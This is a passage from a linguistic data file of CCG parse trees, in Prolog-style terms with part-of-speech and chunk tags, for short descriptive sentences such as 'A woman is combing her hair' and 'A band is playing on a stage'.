t(n, 'corndogs', 'corndog', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'wagon', 'wagon', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:adj\np,
t((s:adj\np)/(s:adj\np), 'really', 'really', 'RB', 'I-ADJP', 'O'),
t(s:adj\np, 'small', 'small', 'JJ', 'I-ADJP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(91,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'getting', 'get', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'track', 'track', 'NN', 'I-NP', 'O')),
lx(np\np, s:pss\np,
ba(s:pss\np,
t(s:pss\np, 'laid', 'lay', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'wild', 'wild', 'NN', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(92,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'tossing', 'toss', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'cowboy', 'cowboy', 'NN', 'I-NP', 'O'),
fa(n,
t(n/n, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
t(n, 'pants', 'pants', 'NNS', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
ba(n/n,
t(n/n, 'blue', 'blue', 'JJ', 'I-NP', 'O'),
conj((n/n)\(n/n), n/n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n/n, 'red', 'red', 'JJ', 'I-NP', 'O'))),
t(n, 'color', 'color', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(93,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
t(n, 'adult', 'adult', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'amphitheater', 'amphitheater', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(94,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'adult', 'adult', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'amphitheater', 'amphitheater', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(95,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'talk', 'talk', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'about', 'about', 'IN', 'I-PP', 'O'),
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'adult', 'adult', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')))))),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'given', 'give', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'amphitheater', 'amphitheater', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(96,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
t(n, 'adult', 'adult', 'NN', 'I-NP', 'O')),
ba(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/pp, 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'amphitheater', 'amphitheater', 'NN', 'I-NP', 'O')))),
conj((s:dcl\np)\(s:dcl\np), s:dcl\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'talking', 'talk', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'to', 'to', 'TO', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'boy', 'boy', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(97,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'snowboarder', 'snowboarder', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
ba(s:ng\np,
t(s:ng\np, 'leaping', 'leap', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'over', 'over', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'white', 'white', 'JJ', 'I-NP', 'O'),
t(n, 'snow', 'snow', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(98,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
rp(s:dcl\np,
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:ng\np), 'practicing', 'practice', 'VBG', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'snowboarding', 'snowboard', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'jumps', 'jump', 'NNS', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'air', 'air', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))))).
ccg(99,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'riding', 'ride', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'horse', 'horse', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(100,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'opening', 'open', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
t(n, 'package', 'package', 'NN', 'I-NP', 'O'))),
fa(np\np,
t((np\np)/(s:dcl\np), 'that', 'that', 'WDT', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/np, 'contains', 'contain', 'VBZ', 'I-VP', 'O'),
lx(np, n,
t(n, 'headphones', 'headphone', 'NNS', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(101,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'fish', 'fish', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'hunting', 'hunt', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'for', 'for', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'turtle', 'turtle', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'sea', 'sea', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(102,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'turtle', 'turtle', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'following', 'follow', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'fish', 'fish', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(103,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'potato', 'potato', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/(s:pss\np), 'being', 'be', 'VBG', 'I-VP', 'O'),
ba(s:pss\np,
t(s:pss\np, 'sliced', 'slice', 'VBN', 'I-VP', 'O'),
fa((s:pss\np)\(s:pss\np),
t(((s:pss\np)\(s:pss\np))/np, 'by', 'by', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(104,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'carrot', 'carrot', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(105,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'combing', 'comb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(106,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'arranging', 'arrange', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(107,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'combing', 'comb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(108,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'combing', 'comb', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'her', 'her', 'PRP$', 'I-NP', 'O'),
t(n, 'hair', 'hair', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(109,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'hiking', 'hike', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wooded', 'wooded', 'JJ', 'I-NP', 'O'),
t(n, 'area', 'area', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(110,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'together', 'together', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woods', 'wood', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(111,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'together', 'together', 'RB', 'I-ADVP', 'O')),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woods', 'wood', 'NNS', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(112,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'walking', 'walk', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'through', 'through', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'wooded', 'wooded', 'JJ', 'I-NP', 'O'),
t(n, 'area', 'area', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(113,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bun', 'bun', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(114,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'slicing', 'slice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'tomato', 'tomato', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(115,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'alone', 'alone', 'RB', 'I-ADVP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(116,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'other', 'other', 'JJ', 'I-NP', 'O'),
t(n, 'women', 'woman', 'NNS', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(117,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'Some', 'some', 'DT', 'I-NP', 'O'),
t(n, 'women', 'woman', 'NNS', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t(s:ng\np, 'singing', 'sing', 'VBG', 'I-VP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(118,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t(s:ng\np, 'singing', 'sing', 'VBG', 'I-VP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'rain', 'rain', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(119,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'other', 'other', 'JJ', 'I-NP', 'O'),
t(n, 'women', 'woman', 'NNS', 'I-NP', 'O'))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(120,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'dancing', 'dance', 'VBG', 'I-VP', 'O'),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t(s:ng\np, 'singing', 'sing', 'VBG', 'I-VP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'rain', 'rain', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(121,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'band', 'band', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'stage', 'stage', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(122,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'band', 'band', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
